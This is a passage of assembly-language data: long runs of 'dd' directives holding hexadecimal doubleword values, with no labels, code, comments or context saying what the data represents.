3FA9E928h, 0C9107CB3h dd 44C2B417h, 84A2DD0Dh, 32405FFEh, 0C13B0B1Fh, 0BCE44A55h dd 2D54143h, 607507ADh, 0FAD78906h, 3B149ECh, 9C271271h dd 0A272F80Ah, 9192DF31h, 22E95A38h, 49626B2h, 7ED514C9h dd 6DC663E9h, 3D101BE6h, 134C40Fh, 0C7EA09D3h, 817F4442h dd 2058C5AEh, 4E218A70h, 0A266258Fh, 4AD016FAh, 7A8F3DFAh dd 41866C76h, 0BEA03BFFh, 72BF1AC1h, 29FDBC9Dh, 2D7AFAD6h dd 0ED99C51Ah, 2B082556h, 0AE920CE2h, 0A67E892Dh, 8421D645h dd 0EF05E262h, 0EAC15507h, 5EBF7EBEh, 16B228F0h, 14138670h dd 0CC266AF5h, 0F275C22Ch, 0F4C54CDDh, 0D9A8AA10h, 0AD7849D5h dd 0F6B25203h, 99FFC280h, 0C9ECDE2h, 2FCA42E6h, 2650B0E9h dd 4F3B949Fh, 54D7882Dh, 25E8C141h, 1A453D5Fh, 76C30D2Ah dd 91D13357h, 0CA93F9ABh, 0ADA95FAh, 6796EB2Eh, 0E381371Dh dd 672D613Dh, 4950C83h, 40271921h, 73307607h, 6F71D2F1h dd 0A0D6ACB2h, 544F0117h, 701A1932h, 505C026Eh, 0F32C81B0h dd 1B21A589h, 283094B3h, 0CCFE0FCFh, 12B72D53h, 27E4D0E0h dd 494B15E9h, 4F7B7AB0h, 6DE1ACC0h, 0F82CED21h, 25F80BC9h dd 910202E5h, 74808DF6h, 0FD3936BBh, 5BDF210Eh, 0C7C13E4Fh dd 268925E1h, 3D040CBEh, 87296C10h, 4AD019DEh, 95A9E916h dd 0C72C0623h, 0BD0049E4h, 59DF11ACh, 0EDBD909Dh, 0EA442D94h dd 42EC2B07h, 0E47DD90Bh, 64FB955Fh, 0E4AF9834h, 734035BEh dd 48E348C1h, 0FDFE2F16h, 0B8E9E1E6h, 28015A24h, 20C59CAh dd 68C8B70Fh, 51F911ABh, 7CBB029Ah, 48FA8967h, 4372305Eh dd 801D0B46h, 8ED6E6EEh, 0CC11B62Ch, 0F280EA27h, 0FE829226h dd 0F30050BDh, 52EDD7F6h, 85A6E98Ch, 9650C966h, 846AD6A9h dd 0A53845DDh, 68C1547Eh, 997B7D96h, 0F4B94CAFh, 88826341h dd 0DA9FB109h, 41BD4B78h, 53605693h, 2C9B106h, 34A249D6h dd 0C750DAF8h, 0C65DE908h, 0E1BD0207h, 8005F137h, 44548FEFh dd 63E92D4Ch, 68EB3DA1h, 827FC23Bh, 97FE86Dh, 0F812BA33h dd 76FCDBD9h, 98685FA0h, 71BC5E4Ah, 0D9C2BBB5h, 174950FBh dd 0CC7AAE68h, 6E5AA1B3h, 518994FDh, 0E4C0784h, 74582B5Bh dd 1033117Dh, 6E50DED8h, 89239CEEh, 0ADF166BAh, 3042C4ADh dd 0EFB547EAh, 0AEECE6ADh, 0AAFDEEEDh, 0D22F0097h, 0FCE924A3h dd 0B8299246h, 142DB01Bh, 0B1D4C3Dh, 9A2D82Eh, 0B6F48028h dd 517BEF40h, 0C11E3C11h, 87120C5Ch, 0DD89B8F4h, 6F2903B1h dd 55C7E42Ah, 0D294E925h, 0E9F74DC9h, 5DA5D0DCh, 4BF8D275h dd 17F88F5Eh, 0AAD0BF57h, 0BF8E8FE9h, 158B373Ah, 0EB1C915Fh dd 0EE7E356Bh, 0E887628h, 505152D7h, 0E5E7FCAEh, 59EAA358h dd 18754E8h, 33DF6195h, 0A968B750h, 60029441h, 337E2185h dd 0B2DCE917h, 0CB50E7D0h, 0EDECE3BAh, 0EDC697B0h, 0B76DC820h dd 5650ACD8h, 5F401293h, 4D719F5Ah, 0BF66BB4Ch, 0E91245D0h dd 28BE9184h, 5C44DD27h, 0ABB367E0h, 0E2560901h, 5002CA68h dd 5A4B1E9h, 5E8FCC57h, 0F3E0BA54h, 8EB95103h, 0EF39E160h dd 648E2B99h, 0A9B02FECh, 1C6C5979h, 6BAC412Eh, 0C979B0A1h dd 962CCE1Dh, 0F1BB1347h, 3FC50B75h, 0D0E4A454h, 0CC474AB3h dd 0BF8A0405h, 9F99F51Eh, 636B5A21h, 0B3F3C302h, 0A109BC9Ch dd 8266A4E8h, 0ADEBE84Bh, 81F4C620h, 303171C0h, 16BBA1B3h dd 9735BC27h, 0E9C1E5DBh, 3D800EF5h, 0A8FD98EAh, 0D54B210Ah dd 0C75E88E2h, 89F6ADEDh, 0A930FD26h, 0FCE4093Bh, 45044274h dd 0A0BC5BD1h, 0B89B09Ch, 1E417C8Fh, 0AA273382h, 0E7686600h dd 35909F0Bh, 0B88045C7h, 3E5B031Eh, 78496848h, 0F4B1AB16h dd 0BBD37ABCh, 2A17691Fh, 0A712A1ADh, 97E7F345h, 10332ABh dd 0F9693771h, 1F59A5EBh, 4009E989h, 58EE0828h, 0DF397359h dd 1620C393h, 685452BAh, 5D60E911h, 0B551AC95h, 0CD80168Eh dd 0CA04AAEBh, 5C0B75E1h, 22965CF0h, 0F786FC24h, 20F8CE08h dd 525F9640h, 0E45A390Bh, 3DC4019Ch, 16E99EE5h, 0BF317E55h dd 727E7F5Ah, 0C710D2E6h, 0CAE69D6Bh, 191C2091h, 560E2653h dd 550050ABh, 4647FC68h, 3BF85D29h, 0B273594h, 4A55FEAh dd 2F1CA11Fh, 0E4C58BA2h, 138FAE49h, 7FF35927h, 3F1BC302h dd 0FDD15762h, 0FF465209h, 0A2A7E01Bh, 8D5A66AFh, 1971A20Fh dd 4D56654Fh, 0B85BC3E3h, 5F1089C0h, 5857F482h, 0E916FE96h dd 7AE48845h, 8C235EE7h, 7A009177h, 0D1F733ECh, 1AF18141h dd 13640D1Fh, 0B275ADC2h, 720C56D9h, 0D998F802h, 414F9457h dd 47CB01D3h, 0CFC70444h, 0CFB4A174h, 0E36E1EFEh, 0ED67D669h dd 6FCA09E3h, 4284FD4Bh, 0F200A41Eh, 82806ABFh, 7F586B8Dh dd 0FC84BE9Ch, 0D0CE049Eh, 1989CF25h, 9A252965h, 12AB040Ch dd 0D70D195Ah, 1718620Bh, 0CEB9E647h, 52D231C2h, 83511356h dd 0DAD155E2h, 68C1A668h, 0DA5333B4h, 17E7DCAAh, 9204C94Ch dd 0A82B1126h, 241E09C0h, 7F78213h, 9BF509C0h, 71A85073h dd 59670B83h, 0A07D5D7Bh, 802EEDE5h, 89861206h, 8389FAEEh dd 0EF16C479h, 0AE71BB60h, 2963C555h, 66401D3h, 306E7121h dd 221FDEC7h, 0CBC905A7h, 2C8C8259h, 0AE5E04BAh, 0E9823FE7h dd 2C6B25Fh, 5B2C5679h dd 15039C6h, 24CC1FEh, 223FB544h, 1AA9D77Dh, 2BC62D96h dd 0D32CBDE2h, 207DA476h, 0EEA554BFh, 0FC5F5A55h, 92C5B0A0h dd 443E4844h, 32505417h, 0E4FD667Ch, 5FC020EDh, 2B2F4D76h dd 62CAD460h, 91740B35h, 420341DAh, 0B022F907h, 0B90080B1h dd 0A31503Ah, 5E1C11Ah, 0BCD908AFh, 95CD8101h, 0A681095Bh dd 8F010CF5h, 87147F41h, 33780726h, 8F9B4B44h, 60087418h dd 105EB11Ch, 2FF2BB15h, 6C805EF6h, 66329752h, 6091A08Fh dd 0D04E9D42h, 38A6BB1Dh, 30A63D0h, 0ADADF4E9h, 0E70F7356h dd 591263B9h, 0B3CDF152h, 3E1FE67Eh, 0FC04A568h, 72A06121h dd 2548EC08h, 0E4282609h, 6CB8474h, 17CC6C1h, 4F004FEh dd 46B46F0Fh, 1A6D1993h, 0D883BC28h, 509726F9h, 241296E8h dd 0B5CBA55Ch, 0E87108E2h, 24B5A0BEh, 152CE01h, 58496C57h dd 0FEB32A59h, 50CC562Eh, 7AF7EEE9h, 0A0B31777h, 0C11702CFh dd 91A74D72h, 5592F60h, 5ED07A07h, 58E42104h, 2A211EBAh dd 0A8595EF6h, 4441B292h, 19F20587h, 0D52F1CF7h, 97960464h dd 19D9EA4Eh, 1890F524h, 631BBD0Bh, 0F39DAD08h, 37EF8181h dd 391E0214h, 28084104h, 0DD21D628h, 0AE05DA0Dh, 7AF42F14h dd 0A2A51B27h, 9DFFAB8h, 5658D1D0h, 17120267h, 5D8962A0h dd 0B593BC8Fh, 9E046A07h, 4B1DEDECh, 0D8C44130h, 5056B200h dd 0CC80AFB4h, 18C4E676h, 0ADCF6D8h, 50983002h, 74B85D20h dd 17BA7A50h, 0A0091292h, 65EAEF2Dh, 7FF5EA25h, 0C10A7016h dd 0F04E03E6h, 0FDB12825h, 3C82DD02h, 9589D5CAh, 15617400h dd 0E93A37C9h, 0BA525457h, 53B70170h, 0F3642554h, 8E84DA4Bh dd 0AE46278Bh, 1ADF2125h, 0A9DC1B6h, 7BB3706Ch, 2FA8ED48h dd 0F80772C7h, 19F86915h, 0E9D3C677h, 0D0BBA56Ah, 424A6968h dd 407A4D21h, 9897C228h, 0F14AFED4h, 4151F628h, 30986EF5h dd 7D23268h, 82F62023h, 5830392Fh, 0B6F3C2F8h, 0FD50718Eh dd 1C5768ACh, 0C880C0FEh, 0C630462Ch, 0CE801358h, 382AEC06h dd 0FCEE2E1Bh, 60F6993Dh, 0D4DBFB06h, 0D5716F81h, 2A12C904h dd 6ADC6A22h, 5514195h, 28234A20h, 27BDF140h, 3A479516h dd 27D3F92Fh, 751C4B67h, 0EEF7F060h, 4BC15A25h, 0AE5F451Ah dd 4DE4D87h, 0E970C0EFh, 35466517h, 8102F9E5h, 8F685EF5h dd 97866CEEh, 564962D4h, 277EAC0Fh, 0B9163779h, 0F1FDAAB1h dd 0A43E7EDDh, 44415385h, 9CB6DDE8h, 0A8526431h, 89EBE49Bh dd 61323174h, 607FD019h, 9199901h, 5327E9CAh, 4BC45F91h dd 4F8340AEh, 0E9661369h, 0B284644Bh, 94C9801Dh, 88C251F1h dd 0F4AFF309h, 0B5C1DA73h, 21282BD6h, 41635095h, 20C7AC65h dd 5A4A5B85h, 41165BB6h, 1011F3C9h, 0D14BE15Bh, 2CE6CB2Bh dd 5F089378h, 73C62FD4h, 921C8160h, 5975E441h, 0B2C28058h dd 70C05B32h, 0F11620BAh, 0B504E376h, 58BC315Ah, 0BBFE8086h dd 0EA0D0F20h, 8C4C4A28h, 0CFB45DD8h, 0B12A5D49h, 542F1C13h dd 0EE3AF908h, 7285B4Ch, 0FB12129Dh, 4203045Eh, 0ED544AD9h dd 0C24274ADh, 0E94549FDh, 0A5DFCD88h, 6088EF63h, 68165A31h dd 5CE96AA1h, 70660983h, 1C37C08Dh, 464AC164h, 0E9C920BEh dd 4ED4CE67h, 0B35300D0h, 5BD8288Fh, 0EA237004h, 0B52E82Ch dd 6FE934B2h, 7E1D2B57h, 0D54E3ABCh, 410C7D54h, 238B14E7h dd 0C821D3D9h, 0E24A5E2Fh, 5974513Eh, 0A34C4FC2h, 433AB805h dd 57AB970h, 0E529A394h, 11709F8h, 0F1E712FBh, 5A703842h dd 540BBCCBh, 0C340BAE9h, 2F0715BDh, 0FD311EC5h, 3CD0D8C4h dd 95486368h, 2578D746h, 0E916137Ah, 8ECAAEF0h, 2701F04Bh dd 2C363313h, 0EA0561ACh, 5B5717Bh, 0D9D364B6h, 7762CC5h dd 3432721Bh, 7E4F986h, 0D64BD1C1h, 0F6C96074h, 4709843Bh dd 0DAC836E9h, 99BF8011h, 8F51BFEBh, 2628554Ch, 85E5507h dd 5A16E318h, 79C62704h, 500B8B10h, 645EDEB0h, 1EDF215h dd 2A3E281h, 0B4F35149h, 0C25920FFh, 433322F9h, 27F5D45Dh dd 0C9D87D0Ch, 0F21D824Eh, 563D2A49h, 85DC50A1h, 68F718B7h dd 0CF66B5D7h, 5552949Ch, 253BB779h, 5AB1765Fh, 0F29980Bh dd 4936C57Fh, 0D0C4E1h, 9B3A9768h, 8E4F0944h, 14B0D64h dd 3CC20C44h, 0BCDA5D0Ah, 9755729Ah, 2247F180h, 2B6BB83Dh dd 2099780Bh, 813FB9DDh, 6E110DE6h, 78F00C3Ah, 0A0485FB5h dd 0F30FCE13h, 0C472E266h, 0E5C274F6h, 378BFCDFh, 0A5BB8306h dd 53F34902h, 0E04C7448h, 2FEB7EC5h, 0D90026A9h, 6A36851h dd 59407913h, 0F10B43EFh, 2C8876D9h, 72257505h, 2D4EE193h dd 0F5590742h, 0D250206Eh, 0E541B37Ch, 0E05DB16Fh, 0F3BF6403h dd 68124C9Fh, 162C5A27h, 7CEFA8A4h, 0E39C97E2h, 99A64CBDh dd 0E8C6819Eh, 212BF20Ah, 1672133h, 42EE2908h, 8029CACEh dd 94F28B4h, 0C8C2BF6Eh, 0D53810Fh, 2192CF16h, 6812BD3h dd 89A63D57h, 4EA1103Fh, 0B94B38EDh, 0DFB45AEEh, 33B7586Bh dd 0A41021D4h, 522934E6h, 97EEF984h, 0AD4BEEE1h, 0DC5E5A1Ah dd 16730908h, 9AA8B064h, 0FC5E3B40h, 99A24ECFh, 49AA60C9h dd 0F3EDDD5Fh, 776786B6h, 96625247h, 425D46FEh, 25653529h dd 6A0DE900h, 4F68033Dh, 8239B4ABh, 1327955Fh, 0DFDEEA82h dd 0CEF62EEEh, 72CDFD5Fh, 0B7E3BE5h, 7ED95FCDh, 584006E8h dd 1786853h, 5B7F996Bh, 3A57DBF7h, 0F2A97284h, 721DC84Dh dd 171921Dh, 11418C76h, 0FB88424Eh, 0F1551CCAh, 0F8594533h dd 97E9C5B3h, 2109A8A8h, 0E9441C57h, 92621029h, 9B58539Eh dd 3F780FFh, 2818043Ch, 84A42CF8h, 0D8AC0DA8h, 0B78800A1h dd 58172B09h, 0EF67505Fh, 0BE6E4CD0h, 6D28BD7Dh, 0F9581608h dd 496231C0h, 1BDD5B5Eh, 7F98A37Eh, 73CF6D2Fh, 2D0EA841h dd 4A35B15h, 0E1104DEAh, 0BA14D8CAh, 97F4224h, 5D9A20C1h dd 37964983h, 467F08B2h, 2BCB0EFFh, 0CFDC27C6h, 56A2A8C7h dd 0EC1F229h, 0EA010187h, 95D6BA70h, 1DE41C74h, 34852E0h dd 0ED31062Dh, 0C7FA572Eh, 0A288DF4h, 243ED535h, 16808AFAh dd 70FEBB53h, 0DB391056h, 5C012910h, 0A05EB41h, 592591A9h dd 5E003994h, 0F7BF5755h, 24672110h, 0AD461FE9h, 269F30EDh dd 0CBFDDCE7h, 0A224187Bh, 0A927E984h, 8F3B31FAh, 0CDFE01C1h dd 67F6C5C8h, 62800CDDh, 0A4353DCh, 281FEFB0h, 2F5BFD38h dd 2784E4EBh, 0ED1BC374h, 0D1F0ECCAh, 55380425h, 21203E94h dd 0EE8325A7h, 5C97F545h, 68B0B8A8h, 99B54649h, 613FAFC3h dd 3FC821D6h, 9B11FC8Bh, 0A7E83BA6h, 5A38025h, 9EBDA61h dd 58C6291Dh, 63A81A01h, 53C0C64Bh, 4F307BAAh, 0F4FC184Dh dd 9FBB98D6h, 39421DC1h, 57C22740h, 0C3556B87h, 185E6A0Bh dd 0F2EE6A29h, 0E4AF2039h, 5CEB8025h, 74802558h, 9D33C7BEh dd 38982658h, 2E5704EEh, 8DA0C8E9h, 0EB882C53h, 0B8B85947h dd 1B05020Fh, 7571156Fh, 70048E2h, 3FE91888h, 480D33E5h dd 0FED61038h, 79C67573h, 9DF126CEh, 0C40E42B7h, 0A8DAD95Fh dd 6BB0BBBh, 0DE101A16h, 0AA22DF8h, 8D09F383h, 86C5DF31h dd 22250EDh, 2264B5C6h, 0A606E965h, 348981ABh, 0A9173F6Ch dd 60AE2DBAh, 575F9F49h, 780B925h, 4C964E05h, 0F100905Fh dd 75FC6326h, 2CF18DE9h, 0EA87C59Bh, 78B551F8h, 0E1800C42h dd 3EE91257h, 409A461h, 8FE68F82h, 0F7722228h, 547E1D9h dd 0B5F8AEE4h, 48FA56CEh, 16F559B5h, 0C45FABEFh, 187BDF0Dh dd 0BD3802D4h, 0D3F77BE8h dd 8F4E9BB0h, 0CD92D7CAh, 2BD421D3h, 54FC4BCh, 8C762F5Eh dd 0CF4E68D5h, 0B817EFBDh, 0F4688982h, 0AF93476Eh, 30EC7B0Bh dd 7E2FF35Bh, 0E3C1274Dh, 65B6C8B8h, 0C4521296h, 0F161322Eh dd 92E408C9h, 2292892Dh, 1C2EBCAh, 0F0C3805Ch, 50665266h dd 0D3577018h, 0D556FA48h, 3C498F1Eh, 0AE90FD01h, 0F516102Eh dd 0F3BD296Dh, 5D300C90h, 9841FE9Bh, 0F83C376Bh, 0BC0A8B2Dh dd 0D0E95B58h, 4806C49h, 1EB42F2Eh, 0A51EA0ABh, 0F08C2B25h dd 1057416h, 42356755h, 2A02DFBFh, 0CF28F1F1h, 4AA82310h dd 8287CBA0h, 0AE56C0ABh, 4E370563h, 0D497CA26h, 9A7D2530h dd 0AA4355F9h, 0F39A83E1h, 55010AEFh, 50001167h, 74AC2D06h dd 0B9EE314Fh, 889D2608h, 85F8118h, 108B566h, 76900C07h dd 8067C208h, 0CF88518h, 4D10BD8Ah, 25086C62h, 0B4DD0258h dd 1B428E03h, 88B1728h, 692091C3h, 7FBF31DBh, 18CB510h dd 3B012C72h, 23088889h, 56700C18h, 6E631920h, 20640E08h dd 6B518281h, 638BF0FDh, 0DE2508C6h, 73172018h, 0D1D32033h dd 0C0081867h, 566E181Bh, 0F0A208CEh, 184CE410h, 0A128A3EAh dd 8A08CCF6h, 8363E4F9h, 3159B108h, 0C084069h, 6318BDA7h dd 37E553F9h, 4459AD08h, 4BEE068Fh, 0C8E03108h, 88FDD720h dd 0CE2CC08h, 9D20327Bh, 6315F840h, 9379108Ah, 0A0510810h dd 0E089C615h, 40C4C444h, 0A54009D0h, 184363A3h, 818271Ch dd 0CF1897A6h, 0FA08C478h, 0AF89048Eh, 65CA004h, 543085CAh dd 40D8B4BDh, 1C657A70h, 0C444FD08h, 910C8801h, 9662ADA9h dd 2EB9008h, 0F602D4E1h, 61AF0370h, 81AA931h, 99BC231Fh dd 584017C0h, 0F46D40BDh, 0C31D841h, 6093088Ch, 7E406F30h dd 107467C0h, 0DE089CCEh, 0FB4549C4h, 46B2104h, 8B04BE85h dd 0E4F2066Fh, 0B17A2008h, 6553E020h, 4C0A69EEh, 43A13DC8h dd 8C083F62h, 41C5065Dh, 33844020h, 1A188D08h, 2BDA8918h dd 8079B708h, 0CB809201h, 65C0805Ah, 18C738C4h, 8715C0Ch dd 0D41191CAh, 20998B8Ch, 51A4A971h, 84F102DEh, 0BC91D104h dd 10889460h, 0D60CBAFBh, 0C47D3949h, 0C1FDF08h, 408241ABh dd 6863D28Eh, 24B6FC08h, 88081E18h, 0F184D8Dh, 80422D31h dd 2A8127BEh, 3C5C818Ch, 8F403808h, 0D5264010h, 0DE386662h dd 0D1320283h, 68CE4A4h, 31088A56h, 492088D5h, 2E47017Ch dd 5E301089h, 6ACA824h, 20107B40h, 19207492h, 0E0C64962h dd 18F36278h, 49C543h, 0BF188C65h, 815AD1CDh, 42642458h dd 403F6340h, 0AF40C9CFh, 0AA5F409Eh, 55189540h, 1C50E86Ah dd 4CFC9C60h, 4596A4E8h, 4F4BDC19h, 881CC7D7h, 3B0048F4h dd 2752C47h, 891331EBh, 0BDA7B90Eh, 78E04A3Dh, 4940008Fh dd 0F775C90Bh, 42B0748Bh, 312DEE8h, 12A4B9F0h, 48C07833h dd 3030110Fh, 6852AC2Ch, 10392325h, 0CB55139h, 2BED8053h dd 0E9162906h, 61AAD2FFh, 3E69C08Ch, 3465FE8Dh, 0F06FBC2Eh dd 0B7C10FE9h, 0F8A709F9h, 0C3D29D54h, 0FC01DCECh, 0C829A1A5h dd 0F02A4059h, 5094D168h, 535F540Bh, 39EF03E0h, 1E1355Ch dd 68D870D7h, 364C141Fh, 7644C981h, 0C02F542Bh, 0E8C5E51Bh dd 9521789Dh, 0DB287C4Ch, 53029008h, 107971BBh, 0F589DF0Ch dd 308CBFDEh, 0FABF72EEh, 37BD2540h, 73826576h, 0F0039425h dd 7F9D0B5Fh, 2CD0093Bh, 4DFA2D06h, 51103720h, 0EFF00705h dd 0EE28D25Ah, 0AEA3EB63h, 685C1266h, 0CC93FC67h, 0EA50B354h dd 17DE9558h, 6496E958h, 0E9580C8Eh, 590F98D6h, 292F33E9h dd 0D413B1EAh, 0D7FC66CAh, 0D7D5B84Fh, 0B3A94B91h, 0F75E4E89h dd 893AADD4h, 58284D23h, 27400B57h, 85DD57B5h, 53B25819h dd 0CBEA9197h, 0D15B00FEh, 354779EFh, 0A328CC88h, 0EB2F7BF7h dd 182B68EDh, 89C8820Dh, 0DBD2C265h, 809AD5EFh, 5C0DD6CEh dd 0F4E92C0Dh, 0A41DA04h, 73313818h, 8D6C35EDh, 0AEEAD28h dd 469B12FDh, 0B25292EBh, 4EE90D9Dh, 622D7D26h, 1DB77035h dd 4922C919h, 0E29575F2h, 1065555Fh, 0A85CC6h, 3DA06E20h dd 0BA576235h, 55406300h, 39087EBDh, 0F8294B06h, 84CA5B7Ch dd 0B033978Eh, 116029E1h, 2D4ECF75h, 314A2Fh, 0B370C760h dd 0C3BC7A03h, 0CA5FE920h, 59240FFCh, 0DBD03B4h, 6BA935D8h dd 21469FB4h, 5B5F18FEh, 199BD0Eh, 0F70F664Bh, 70E5C1D5h dd 7E2FE9CBh, 5F431A39h, 16300DFBh, 152A7B5h, 0D6F651B6h dd 0D818EE80h, 533C39B1h, 99E98CB7h, 0BB8461Fh, 4D5AA270h dd 89710455h, 0F20087FCh, 4BA30F37h, 0E914D109h, 3ED515BBh dd 4AEDCA89h, 6D3AF994h, 0A80BA916h, 0D6011422h, 0E90B40EDh dd 6E852D30h, 1E0282B9h, 0FB41147Ah, 17E8D8AAh, 0EF5AD631h dd 19241747h, 26C55769h, 2A99AF80h, 64D9E97Bh, 0AACB1BF4h dd 58F3B060h, 0ACFE5B31h, 21270DCh, 0C013A32h, 1ABE28E5h dd 0BC01B13Bh, 48BC4F3Eh, 0E350092Dh, 3DEB504Ah, 0E2C86E61h dd 71680E9h, 38F1449Dh, 0BC70670Fh, 0E252E747h, 2E5D9AD0h dd 0BB9EED47h, 984FE63Fh, 0C7A6E96Bh, 77C15839h, 0E03C9506h dd 0F60B818Ah, 85AE59A4h, 0C6EE5544h, 0C0BF1A3Eh, 7D52D33h dd 68FA07EAh, 6AA28A76h, 0AB411921h, 0F1622058h, 9FE139CAh dd 4A69863Bh, 3C0C7738h, 0F6A530EDh, 829923FDh, 0E921D032h dd 0F8164E61h, 44E3E748h, 0F81C4ED3h, 0C7672D69h, 305F27EFh dd 0DBF572Fh, 0BCB1FC8h, 79941644h, 0E27D4C14h, 2A5E70A7h dd 0E7570C73h, 1917D6h, 2BD55BC6h, 7C380508h, 1492EB4Ch dd 1E072DF0h, 5324295Eh, 1254813Eh, 55D3E936h, 7AC6E204h dd 9600264Fh, 0F2B22BAh, 1214FE5Fh, 715BDDDh, 50A3DF3h dd 567E8076h, 31F4ABEh, 0E6810B28h, 177E1FB6h, 800EF120h dd 407877FFh, 3452045Bh, 0F084F304h, 82D90105h, 5C05AFE9h dd 269220BAh, 777F8F1Dh, 0A6AACDE6h, 36001FDh, 75C20114h dd 0FAA747E7h, 4F6D98AFh, 842AADC1h, 0FA351B05h, 34E993D8h dd 0AB5A329Ah, 0B2681502h, 611FD42Ah, 20BA0E92h, 7901C1ACh dd 0F753ED23h, 0C36851D1h, 0DD205927h, 230D4F2Fh, 27E37100h dd 7908ED25h, 620D9026h, 3C296428h, 6500157Ah, 5F61D32Fh dd 0CFB107E9h, 50A0AC74h, 809DB353h, 8474CB39h, 930479C3h dd 32BA16AEh, 0F1575D82h, 0DFD252EDh, 2BDA6813h, 56AC9C9h dd 52076FBDh, 8BDAF2C2h, 0F1D68157h, 956EBE29h, 6729FA22h dd 4B3CCE2Eh, 0D9867DF9h, 4ECB0A9Eh, 9231713Dh, 0F67120CEh dd 9D3B312Ch, 5D267B2Dh, 0E9055A51h, 39BE1FD6h, 9D6BA9h dd 0E906423Ah, 0E1987460h, 575BC068h, 80987133h, 0FC50069Eh dd 4E3E1341h, 37110442h, 97071335h, 0AD73296h, 465931B2h dd 0C85458EBh, 3020EB90h, 935858h, 0F249B12Dh, 4B0557h dd 89A451A5h, 0FBD7E9C6h, 0F77C1AB7h, 284E2CA3h, 5EF0BF14h dd 8483A4DAh, 0B8604E33h, 88E11160h, 1A7AEA02h, 0F05D4E32h dd 0DF0882F2h, 719928E0h, 0F492AC9h, 0D131E75Ah, 0C5FCE84Bh dd 9C382519h, 0E91981F8h, 5F66061Dh, 6F963D7Ah, 4E3284C3h dd 8E60EBADh, 97595451h, 0A5FB0A54h, 598E72AEh, 6B903BCCh dd 5145249h, 438D4723h, 9FC2E70Ah, 94EE8187h, 5D0348E0h dd 0B9589721h, 885453BFh, 7F25651Ch, 435FD092h, 0BE16021Dh dd 22166608h, 7A0B6857h, 0A9FED63Ah, 2EFF4AC2h, 48915C71h dd 1E7F1118h, 9849BF4Eh, 0A8E08F58h, 7240A5F5h, 0F1BA45EFh dd 6E07CA2Dh, 0B5149F0Eh dd 53EBA4B5h, 0D211F7EFh, 17C3CEBFh, 3CFA5F58h, 0A245524h dd 1D4A6D01h, 6E8D2D3Ah, 0E318C4D9h, 28A6B366h, 2ACF515Fh dd 18E80120h, 4F21F201h, 40AC0805h, 0A1C6E8A4h, 0FE2845E9h dd 3ECC007h, 0AA3C3480h, 81B10A49h, 0DBF65783h, 32D98530h dd 7BA8DC08h, 5E498566h, 22502CA9h, 0D62DD103h, 0E1D0CA4Eh dd 0F27EF2B2h, 1EB6973Bh, 1A754C18h, 0D678C580h, 11E4116h dd 5F2D92C8h, 0B702B834h, 552B99C9h, 134D3DE4h, 1E5D1778h dd 6C08459Dh, 0E483FB38h, 0CDAF8181h, 40398D74h, 190AB925h dd 0E71A8B1Fh, 0BA0C7600h, 2CE94124h, 0C0431D3Ah, 511815EFh dd 8E7E56B8h, 7F44F6Bh, 0B9B05056h, 378C6F4Dh, 14A4177h dd 80714704h, 2B45562Eh, 0B8C8899Ch, 0CDE45E1Eh, 595EADE3h dd 0B9FE693Dh, 747BCE2h, 7406D6C0h, 886BB118h, 0A0383A54h dd 0DEE83098h, 437D8C53h, 0CAB0E751h, 2AE6465Ah, 9C807E69h dd 48911ADCh, 0C2909598h, 256D9527h, 0DE424E32h, 0AD2D4468h dd 74C2384Fh, 38C59884h, 11D32EC1h, 0C04A70FDh, 41C3447Ah dd 0AABCFABAh, 87D9143Fh, 0A3D71285h, 45B69F20h, 0C50601Fh dd 18A16DE8h, 5FCBDCA0h, 98313F3Dh, 0E72F4A65h, 0FB561D15h dd 0C0F7812Fh, 384C77B5h, 7CA58C4h, 7E2128CBh, 0EE14DE9Eh dd 3CA86208h, 0F5917592h, 67E77F51h, 55098E42h, 8162DDE9h dd 5A2640D5h, 5B20E658h, 0D939E0FAh, 0D823C2A1h, 285B2DEAh dd 0E9D447E1h, 12BD9C36h, 32C92058h, 7E481A22h, 4531273Dh dd 535E0C36h, 6880C270h, 9462B52Bh, 0ED7D224Ah, 1E1AE61h dd 0FE02E6C0h, 3BC42CCEh, 0F18883C6h, 4EEBB7E9h, 0CF65EE34h dd 0F152CCEFh, 0EAECF65Bh, 7461818Eh, 0BC72341Bh, 8EB2812h dd 84091CCBh, 0F9F93AD2h, 0D192368Fh, 8203EB21h, 0FF1FF62Ah dd 0B70B60FDh, 2BB20707h, 0C4E9D529h, 895B0A62h, 52B20616h dd 80F2B26Fh, 3EAACB35h, 6A753Bh, 785996E3h, 6B16E915h dd 997D3293h, 0B2688C2Dh, 7195BF01h, 2047745Bh, 43722915h dd 1DA04250h, 302D6C1Fh, 47C2EF1Eh, 0F7213F63h, 40BE7648h dd 9A5C601h, 0E2D15DEAh, 1ECBDD40h, 63590F6h, 4227ACF2h dd 330B1829h, 8E486EF4h, 0E5E8356h, 76CDE014h, 2DE82723h dd 0F0C8E64Bh, 1D4B3F48h, 6FBE43ABh, 80D4BC58h, 742D15F1h dd 0EF01EB09h, 6A27F75Dh, 0E030177Dh, 0F7B2E95Ah, 40B7129Dh dd 2F0E616Dh, 64C06F64h, 8427E908h, 0B610A021h, 0F63EB419h dd 179C6047h, 0E76AA5EDh, 0FF06C5Bh, 88960455h, 0B1A7E9B3h dd 9D8A2FAEh, 0E38DC87h, 7D65A713h, 74886F25h, 81CE6C4Dh dd 548BF305h, 0C9FE477Ch, 0D05606Ah, 449AEFA2h, 68A06055h dd 0EE5F4E9Ah, 52ACA047h, 0B7532AD0h, 90F8E04Bh, 32D72716h dd 457FBEBAh, 2688453h, 1546E345h, 5B52F667h, 0EBE47DB9h dd 0C9884D62h, 0F33A5116h, 0CE9CB18h, 0B4DE19FAh, 9A5FC9C8h dd 0C2F2FE0Fh, 0F96E22D9h, 7DACE917h, 0F86639EEh, 0CC9DF738h dd 7822F64h, 174A2946h, 0D7F7BC04h, 0C5408CEBh, 1DC63618h dd 2D58E50Ch, 1702BCFCh, 0B25ECF09h, 961B1358h, 0A968E1F7h dd 0B821885Eh, 81FF250Bh, 520E6F8Ch, 0A03558E4h, 5AB3E906h dd 0BD948C45h, 0CC33C295h, 9F5B82h, 4926BF84h, 0B7C028BEh dd 54637EC7h, 0E7C1240Dh, 1886399Ch, 0C8411C0Eh, 269D8400h dd 0E9F901C4h, 47D24B63h, 0F948EE7Ch, 550121D8h, 29BBEDE4h dd 98E75EF7h, 4F6AA120h, 1C34A3BAh, 9C658FE9h, 4AE7FC73h dd 85D1B2FCh, 4EF826D4h, 0D59BB1D3h, 0F656A517h, 412C027Ch dd 87C36A33h, 0C383DB90h, 0BCE8FF4Ah, 29045B83h, 9321D9C1h dd 74014B36h, 142E526Fh, 0F910F9F0h, 0D69F2928h, 0C12EA4EDh dd 0E59F05ECh, 0A209A2B0h, 